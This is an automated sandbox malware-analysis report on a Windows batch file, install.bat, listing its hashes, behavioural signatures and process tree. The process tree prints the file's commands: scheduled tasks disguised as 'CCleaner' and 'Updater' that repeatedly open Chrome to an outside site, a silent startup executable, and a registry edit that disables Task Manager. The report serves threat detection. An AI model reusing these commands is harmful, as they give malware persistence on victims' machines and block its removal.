Analysis
-
max time kernel
1800s -
max time network
1801s -
platform
windows11-21h2_x64 -
resource
win11-20240508-en -
resource tags
arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system -
submitted
03-07-2024 23:11
Static task
static1
Behavioral task
behavioral1
Sample
install.bat
Resource
win7-20240611-en
Behavioral task
behavioral2
Sample
install.bat
Resource
win10-20240404-en
Behavioral task
behavioral3
Sample
install.bat
Resource
win10v2004-20240508-en
Behavioral task
behavioral4
Sample
install.bat
Resource
win11-20240508-en
General
-
Target
install.bat
-
Size
568B
-
MD5
e861a08036b9eb5f216deb58e8a7934d
-
SHA1
5f12dd049df2f88d95f205a4adc307df78ac16ee
-
SHA256
e8315164849216f4c670c13b008e063da2176efb5d08939caa321e39a33035eb
-
SHA512
7ea2fd3b085bd4b3e27d4dda36e079ec8910173cc2b33ccd06698051eb7d5f2818ed9000761d1fc44e354c06d015feb16e77958dab8a3969a0cee2fd453ca0c9
Malware Config
Signatures
-
Disables Task Manager via registry modification
-
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Set value (int) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133645228264545966" chrome.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 4196 reg.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1212 schtasks.exe 5096 schtasks.exe 4656 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 4712 chrome.exe 4712 chrome.exe 4104 chrome.exe 4104 chrome.exe -
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 15 IoCs
pid Process 4712 chrome.exe 4712 chrome.exe 4712 chrome.exe 4712 chrome.exe 4712 chrome.exe 4712 chrome.exe 4712 chrome.exe 4712 chrome.exe 4712 chrome.exe 4712 chrome.exe 4712 chrome.exe 4712 chrome.exe 4712 chrome.exe 4712 chrome.exe 4712 chrome.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 4712 chrome.exe Token: SeCreatePagefilePrivilege 4712 chrome.exe Token: SeShutdownPrivilege 4712 chrome.exe Token: SeCreatePagefilePrivilege 4712 chrome.exe Token: SeShutdownPrivilege 4712 chrome.exe Token: SeCreatePagefilePrivilege 4712 chrome.exe Token: SeShutdownPrivilege 4712 chrome.exe Token: SeCreatePagefilePrivilege 4712 chrome.exe Token: SeShutdownPrivilege 4712 chrome.exe Token: SeCreatePagefilePrivilege 4712 chrome.exe Token: SeShutdownPrivilege 4712 chrome.exe Token: SeCreatePagefilePrivilege 4712 chrome.exe Token: SeShutdownPrivilege 4712 chrome.exe Token: SeCreatePagefilePrivilege 4712 chrome.exe Token: SeShutdownPrivilege 4712 chrome.exe Token: SeCreatePagefilePrivilege 4712 chrome.exe Token: SeShutdownPrivilege 4712 chrome.exe Token: SeCreatePagefilePrivilege 4712 chrome.exe Token: SeShutdownPrivilege 4712 chrome.exe Token: SeCreatePagefilePrivilege 4712 chrome.exe Token: SeShutdownPrivilege 4712 chrome.exe Token: SeCreatePagefilePrivilege 4712 chrome.exe Token: SeShutdownPrivilege 4712 chrome.exe Token: SeCreatePagefilePrivilege 4712 chrome.exe Token: SeShutdownPrivilege 4712 chrome.exe Token: SeCreatePagefilePrivilege 4712 chrome.exe Token: SeShutdownPrivilege 4712 chrome.exe Token: SeCreatePagefilePrivilege 4712 chrome.exe Token: SeShutdownPrivilege 4712 chrome.exe Token: SeCreatePagefilePrivilege 4712 chrome.exe Token: SeShutdownPrivilege 4712 chrome.exe Token: SeCreatePagefilePrivilege 4712 chrome.exe Token: SeShutdownPrivilege 4712 chrome.exe Token: SeCreatePagefilePrivilege 4712 chrome.exe Token: SeShutdownPrivilege 4712 chrome.exe Token: SeCreatePagefilePrivilege 4712 chrome.exe Token: SeShutdownPrivilege 4712 chrome.exe Token: SeCreatePagefilePrivilege 4712 chrome.exe Token: SeShutdownPrivilege 4712 chrome.exe Token: SeCreatePagefilePrivilege 4712 chrome.exe Token: SeShutdownPrivilege 4712 chrome.exe Token: SeCreatePagefilePrivilege 4712 chrome.exe Token: SeShutdownPrivilege 4712 chrome.exe Token: SeCreatePagefilePrivilege 4712 chrome.exe Token: SeShutdownPrivilege 4712 chrome.exe Token: SeCreatePagefilePrivilege 4712 chrome.exe Token: SeShutdownPrivilege 4712 chrome.exe Token: SeCreatePagefilePrivilege 4712 chrome.exe Token: SeShutdownPrivilege 4712 chrome.exe Token: SeCreatePagefilePrivilege 4712 chrome.exe Token: SeShutdownPrivilege 4712 chrome.exe Token: SeCreatePagefilePrivilege 4712 chrome.exe Token: SeShutdownPrivilege 4712 chrome.exe Token: SeCreatePagefilePrivilege 4712 chrome.exe Token: SeShutdownPrivilege 4712 chrome.exe Token: SeCreatePagefilePrivilege 4712 chrome.exe Token: SeShutdownPrivilege 4712 chrome.exe Token: SeCreatePagefilePrivilege 4712 chrome.exe Token: SeShutdownPrivilege 4712 chrome.exe Token: SeCreatePagefilePrivilege 4712 chrome.exe Token: SeShutdownPrivilege 4712 chrome.exe Token: SeCreatePagefilePrivilege 4712 chrome.exe Token: SeShutdownPrivilege 4712 chrome.exe Token: SeCreatePagefilePrivilege 4712 chrome.exe -
Suspicious use of FindShellTrayWindow 26 IoCs
pid Process 4712 chrome.exe 4712 chrome.exe 4712 chrome.exe 4712 chrome.exe 4712 chrome.exe 4712 chrome.exe 4712 chrome.exe 4712 chrome.exe 4712 chrome.exe 4712 chrome.exe 4712 chrome.exe 4712 chrome.exe 4712 chrome.exe 4712 chrome.exe 4712 chrome.exe 4712 chrome.exe 4712 chrome.exe 4712 chrome.exe 4712 chrome.exe 4712 chrome.exe 4712 chrome.exe 4712 chrome.exe 4712 chrome.exe 4712 chrome.exe 4712 chrome.exe 4712 chrome.exe -
Suspicious use of SendNotifyMessage 12 IoCs
pid Process 4712 chrome.exe 4712 chrome.exe 4712 chrome.exe 4712 chrome.exe 4712 chrome.exe 4712 chrome.exe 4712 chrome.exe 4712 chrome.exe 4712 chrome.exe 4712 chrome.exe 4712 chrome.exe 4712 chrome.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1596 wrote to memory of 5096 1596 cmd.exe 78 PID 1596 wrote to memory of 5096 1596 cmd.exe 78 PID 1596 wrote to memory of 4196 1596 cmd.exe 79 PID 1596 wrote to memory of 4196 1596 cmd.exe 79 PID 1596 wrote to memory of 4656 1596 cmd.exe 80 PID 1596 wrote to memory of 4656 1596 cmd.exe 80 PID 1596 wrote to memory of 1212 1596 cmd.exe 81 PID 1596 wrote to memory of 1212 1596 cmd.exe 81 PID 4712 wrote to memory of 3548 4712 chrome.exe 83 PID 4712 wrote to memory of 3548 4712 chrome.exe 83 PID 4712 wrote to memory of 2700 4712 chrome.exe 84 PID 4712 wrote to memory of 2700 4712 chrome.exe 84 PID 4712 wrote to memory of 2700 4712 chrome.exe 84 PID 4712 wrote to memory of 2700 4712 chrome.exe 84 PID 4712 wrote to memory of 2700 4712 chrome.exe 84 PID 4712 wrote to memory of 2700 4712 chrome.exe 84 PID 4712 wrote to memory of 2700 4712 chrome.exe 84 PID 4712 wrote to memory of 2700 4712 chrome.exe 84 PID 4712 wrote to memory of 2700 4712 chrome.exe 84 PID 4712 wrote to memory of 2700 4712 chrome.exe 84 PID 4712 wrote to memory of 2700 4712 chrome.exe 84 PID 4712 wrote to memory of 2700 4712 chrome.exe 84 PID 4712 wrote to memory of 2700 4712 chrome.exe 84 PID 4712 wrote to memory of 2700 4712 chrome.exe 84 PID 4712 wrote to memory of 2700 4712 chrome.exe 84 PID 4712 wrote to memory of 2700 4712 chrome.exe 84 PID 4712 wrote to memory of 2700 4712 chrome.exe 84 PID 4712 wrote to memory of 2700 4712 chrome.exe 84 PID 4712 wrote to memory of 2700 4712 chrome.exe 84 PID 4712 wrote to memory of 2700 4712 chrome.exe 84 PID 4712 wrote to memory of 2700 4712 chrome.exe 84 PID 4712 wrote to memory of 2700 4712 chrome.exe 84 PID 4712 wrote to memory of 2700 4712 chrome.exe 84 PID 4712 wrote to memory of 2700 4712 chrome.exe 84 PID 4712 wrote to memory of 2700 4712 chrome.exe 84 PID 4712 wrote to memory of 2700 4712 chrome.exe 84 PID 4712 wrote to memory of 2700 4712 chrome.exe 84 PID 4712 wrote to memory of 2700 4712 chrome.exe 84 PID 4712 wrote to memory of 2700 4712 chrome.exe 84 PID 4712 wrote to memory of 2700 4712 chrome.exe 84 PID 4712 wrote to memory of 2700 4712 chrome.exe 84 PID 4712 wrote to memory of 1344 4712 chrome.exe 85 PID 4712 wrote to memory of 1344 4712 chrome.exe 85 PID 4712 wrote to memory of 4124 4712 chrome.exe 86 PID 4712 wrote to memory of 4124 4712 chrome.exe 86 PID 4712 wrote to memory of 4124 4712 chrome.exe 86 PID 4712 wrote to memory of 4124 4712 chrome.exe 86 PID 4712 wrote to memory of 4124 4712 chrome.exe 86 PID 4712 wrote to memory of 4124 4712 chrome.exe 86 PID 4712 wrote to memory of 4124 4712 chrome.exe 86 PID 4712 wrote to memory of 4124 4712 chrome.exe 86 PID 4712 wrote to memory of 4124 4712 chrome.exe 86 PID 4712 wrote to memory of 4124 4712 chrome.exe 86 PID 4712 wrote to memory of 4124 4712 chrome.exe 86 PID 4712 wrote to memory of 4124 4712 chrome.exe 86 PID 4712 wrote to memory of 4124 4712 chrome.exe 86 PID 4712 wrote to memory of 4124 4712 chrome.exe 86 PID 4712 wrote to memory of 4124 4712 chrome.exe 86 PID 4712 wrote to memory of 4124 4712 chrome.exe 86 PID 4712 wrote to memory of 4124 4712 chrome.exe 86 PID 4712 wrote to memory of 4124 4712 chrome.exe 86 PID 4712 wrote to memory of 4124 4712 chrome.exe 86 PID 4712 wrote to memory of 4124 4712 chrome.exe 86 PID 4712 wrote to memory of 4124 4712 chrome.exe 86 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\install.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1596 -
C:\Windows\system32\schtasks.exeschtasks /create /tn "Cleaner" /tr "C:\Users\Admin\AppData\Local\Corporation\File\RemoteExecuteScriptSilent.exe" /sc onstart /delay 0005:002⤵
- Scheduled Task/Job: Scheduled Task
PID:5096
-
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /f /v DisableTaskMgr /t REG_DWORD /d 000000012⤵
- Modifies registry key
PID:4196
-
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /SC MINUTE /MO 10 /TN "CCleaner" /TR "\"C:\Program Files\Google\Chrome\Application\chrome.exe\" http://starjod.xyz/Website.php" /F2⤵
- Scheduled Task/Job: Scheduled Task
PID:4656
-
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /SC MINUTE /MO 11 /TN "Updater" /TR "\"C:\Program Files\Google\Chrome\Application\chrome.exe\" http://starjod.xyz/Website.php" /F2⤵
- Scheduled Task/Job: Scheduled Task
PID:1212
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" http://starjod.xyz/Website.php1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4712 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff80f00ab58,0x7ff80f00ab68,0x7ff80f00ab782⤵PID:3548
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1604 --field-trial-handle=1832,i,14889675709302972339,11094096676868624550,131072 /prefetch:22⤵PID:2700
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1956 --field-trial-handle=1832,i,14889675709302972339,11094096676868624550,131072 /prefetch:82⤵PID:1344
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2056 --field-trial-handle=1832,i,14889675709302972339,11094096676868624550,131072 /prefetch:82⤵PID:4124
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2776 --field-trial-handle=1832,i,14889675709302972339,11094096676868624550,131072 /prefetch:12⤵PID:3436
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2784 --field-trial-handle=1832,i,14889675709302972339,11094096676868624550,131072 /prefetch:12⤵PID:1236
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4216 --field-trial-handle=1832,i,14889675709302972339,11094096676868624550,131072 /prefetch:12⤵PID:1152
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=4344 --field-trial-handle=1832,i,14889675709302972339,11094096676868624550,131072 /prefetch:12⤵PID:4372
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --mojo-platform-channel-handle=3796 --field-trial-handle=1832,i,14889675709302972339,11094096676868624550,131072 /prefetch:12⤵PID:4192
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --mojo-platform-channel-handle=4528 --field-trial-handle=1832,i,14889675709302972339,11094096676868624550,131072 /prefetch:12⤵PID:4784
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --mojo-platform-channel-handle=4512 --field-trial-handle=1832,i,14889675709302972339,11094096676868624550,131072 /prefetch:12⤵PID:1328
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --mojo-platform-channel-handle=3348 --field-trial-handle=1832,i,14889675709302972339,11094096676868624550,131072 /prefetch:12⤵PID:648
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3472 --field-trial-handle=1832,i,14889675709302972339,11094096676868624550,131072 /prefetch:82⤵PID:1376
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5116 --field-trial-handle=1832,i,14889675709302972339,11094096676868624550,131072 /prefetch:82⤵PID:2884
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5160 --field-trial-handle=1832,i,14889675709302972339,11094096676868624550,131072 /prefetch:82⤵PID:1472
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --mojo-platform-channel-handle=1816 --field-trial-handle=1832,i,14889675709302972339,11094096676868624550,131072 /prefetch:12⤵PID:4972
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --mojo-platform-channel-handle=4536 --field-trial-handle=1832,i,14889675709302972339,11094096676868624550,131072 /prefetch:12⤵PID:2260
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --mojo-platform-channel-handle=3484 --field-trial-handle=1832,i,14889675709302972339,11094096676868624550,131072 /prefetch:12⤵PID:3308
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --mojo-platform-channel-handle=2688 --field-trial-handle=1832,i,14889675709302972339,11094096676868624550,131072 /prefetch:12⤵PID:2416
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2164 --field-trial-handle=1832,i,14889675709302972339,11094096676868624550,131072 /prefetch:22⤵
- Suspicious behavior: EnumeratesProcesses
PID:4104
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --mojo-platform-channel-handle=5456 --field-trial-handle=1832,i,14889675709302972339,11094096676868624550,131072 /prefetch:12⤵PID:1084
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --mojo-platform-channel-handle=5796 --field-trial-handle=1832,i,14889675709302972339,11094096676868624550,131072 /prefetch:12⤵PID:4644
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --mojo-platform-channel-handle=5848 --field-trial-handle=1832,i,14889675709302972339,11094096676868624550,131072 /prefetch:12⤵PID:2912
-
-
C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"1⤵PID:1828
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" http://starjod.xyz/Website.php1⤵PID:2488
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff80f00ab58,0x7ff80f00ab68,0x7ff80f00ab782⤵PID:4692
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" http://starjod.xyz/Website.php1⤵PID:3124
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff80f00ab58,0x7ff80f00ab68,0x7ff80f00ab782⤵PID:3128
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
40B
MD560bbc192dd26ee52247b0156ee1df427
SHA1ac903b225dfb28bb8e1648653fb5712bc205916b
SHA2561644b5e335173640acc6e79f9212c9b84c0498308db5168a0e9a6011f02c609b
SHA512767dd86ede9b08cbd3a048cc93f8e0a64ee0e8924ee6272a89a3da608228e722e7872d44a066c3e2a13b8a27df9b40e46a7b28498e7936fecd8c97d13c5c36b6
-
Filesize
19KB
MD5055c39f1ead06724e540b3c0d877cead
SHA15d7ffdeb534b6bea5443838f9534fc6640ee1526
SHA2560305d258c756aeac531d72a410cc42d0ae302cb74a2d8b5dca2ee590b7f5b1d2
SHA5120e95c4c344e0f81be53dcf1c441525f10a8a231e39e3614912dbc14fc6b6575dbb68dd93f741b80c0da986270003b97b5adaceba996b734b1678150e8ce5dd62
-
Filesize
936B
MD580048c4bf30a6feaf2952c266774da6e
SHA197b89d9d68dc614aaa3f84850d58d55d7e1e6e4d
SHA25674a332d4827c03d0bf60fde3632606da31b33f06447b99be60a34816e782d3ba
SHA512dd132d50aa7fa06ad7904b55ce22864ba1ed29d5238b5a29759653f06c0edc4544c73a85dee3833d8e3486ac6fdb3f58dd911aeaa17bf1d7df5eb5de2828a046
-
Filesize
576B
MD54d1e06def04de6bbec58f1b499efee8f
SHA15c9c331a45adddaba89d6ac0967b88be6281bec4
SHA2567b35ed5dd3537149e6498538d2ce3d6d655cd4536a16d153b0fe16486ba27554
SHA512f764499306a087469fe8db7c5e54adc9c45bbc88aa7aed0079a7b217cbdadd8beb76eadfc58b77c5421d261a38679ea81a5d8666e1e6046fcfbffa54476ef2f6
-
Filesize
1KB
MD5d6ec394c4cc0e20d015bd8f738ec6612
SHA1151633bf65e9862868aace782b3cbbaefb697a0f
SHA2562e9cf4fb3066624d73b66019005437ed7e58b9cbdbde518c03c400f9eaf72700
SHA5122578ee4553ca64204363ede81ee3ab0737c7e86c302909d69c1d180334224bdb279d4031c84b8f1349faa6c168be03219fd4923058b3e220fc639628d945b6d9
-
Filesize
8KB
MD5eb71943a521cf46cd509dad72cc2dff9
SHA1e6721096016991e8ac6208e622fa56176af28fa6
SHA256ed689f0b5dbb9d8830f63cf98f3bd4c2347b5b8d90179da642b84dc47d891ff7
SHA512d9971e6ea22b5ecbe7adcf777849ae612e9d63b16c5f9a75635a0c899c7ec87460be33fad4569f9e5d199b3852d45e1e7f9035e5bd6b728121439840c56e12e0
-
Filesize
5KB
MD542c570746625dc2e293033b215f2dae0
SHA16258c423e154fe9747dddb72831dd4a5f7bb934c
SHA256b054caa0bb6d7ddb1afd32ad2a82fd9c33d102671f43de896162dfd6e1d94c3d
SHA512f528157adb4d631064468236facaa8eeb1c48dcc046624df6012d8cd32367fc84e54e9129a441917cd367446a360b22944a51a81ffece56df88c7b52da5c4162
-
Filesize
3KB
MD5cb43399251c50214eeea4334da09bb2f
SHA12f6a84e10c465344fb4e1b3b26cf2d93ae11f14f
SHA25659db032374fbc9e304c20e1c075fe3988591b8583d403969286da3ad42de0892
SHA5120325932d19e488e25400d85d933307dae00239cfd1c0ee31360fb1291241261b8bd3c0e788a410eb2734122c4abd70d6a0393dabb4318edbd4f5543bed042d6e
-
Filesize
2B
MD5d751713988987e9331980363e24189ce
SHA197d170e1550eee4afc0af065b78cda302a97674c
SHA2564f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
SHA512b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
-
Filesize
524B
MD544acda2c8e52197608aae7753de55c80
SHA16442d8e0b8ea36b78e918560beabbbb2109abac0
SHA256b779efe4deae1338427a1a339f736f0040a26a9bac9f692ded7d8aff9f720f0c
SHA512a1d9535b34f08bcd0725aa2d768314aa67af77b4558d2145268b93357e35e6d17689fa4675ed730ff9d991dbeb8021c6bcdbd1ee2500d00e63abed03a3ac724a
-
Filesize
1KB
MD520fba65c4e48f082c290d8ebfb0fded4
SHA1df9a8044e7f3b5cd407cb05614b2291daafc0967
SHA256fc940e0a0080fecb694c2b1082db784c36e32b7d94442fc3c456102dfef3fad8
SHA5120d4a9464bde3cc42ff8b939fa45df5978ea4ad7e48043c81123049333a35e8314b7eb4bd235879c3bcb6d60e859a1c42b0d94312964f0ba63b48f933bac122e6
-
Filesize
1KB
MD5edd1378b76abe97a354abe6ae4572152
SHA1a5be171239eff9c95bda2192940184f4f5ab2078
SHA2569d94c7048fea4de4b04dc176fb35021eee3141860bf6ebdf483fe1dc685556ab
SHA5126467f01c0f323f9e897ae2308946ed5814411e4bef907947c3f56acdb58b53d4d70e994d5fd00e4da67b03376198a526ab34b118ca7ef18596654b3caa2eadb2
-
Filesize
7KB
MD5840dbd305e609e606fe34e4439a70f52
SHA11a15fbe65f6d01e8f58d8a89df02a9f617fe6051
SHA2562f6d1ea86449551aa63472a9db605d946b61bc87d1afc70a359b7e49b51cf184
SHA512266146131017a7904aff2053f875758da8b17dec1dbd98d237c0f137d865b5d6e5e33a823683c849bad18d7e16c8f60068a63b892bd0d73d0d68f7416a5d9167
-
Filesize
7KB
MD58b4bb2a43f458304d350e5c3a3895648
SHA108647bd567838d1d128754fbc8d7ba17491b20b9
SHA256af98b7fc213b5482672ea3cebc5192ea34d3489875cd2d74bba95ec0adb124d3
SHA5120ba3391b724b61047cb43a1e1298d021abb043dfc7446819619bda9c748fe41738cd06762004101838cf1c63be3c9ca8b73f9b6b2b6b715c7ab41c220c788b60
-
Filesize
7KB
MD5bae9d712395b77e97ad2abc71ed04549
SHA12fd4569333f1a459275b81d3ed4dbb22d7312ef5
SHA256ee3c5bb7e091857ecf33181040d57e962b04c0eff32e025f7f2a18d13e6d5ca2
SHA5124e155f86e31920b655fcbe0558f6165674a9df42fced15d44693430534f48d5a9a105bc99f29f13a9cac0175251a7e99b59303c4c14f9ade655c315f702eef48
-
Filesize
16KB
MD5b88fbfe1289be38f651410ea770fdffb
SHA1a6a94f194f9f5d75c9d9863eafdd6c50655547b3
SHA25696abff798db9a22bdcb4bd05cd190635481154ab1c1bd54ff7b31a5dfba3f3d8
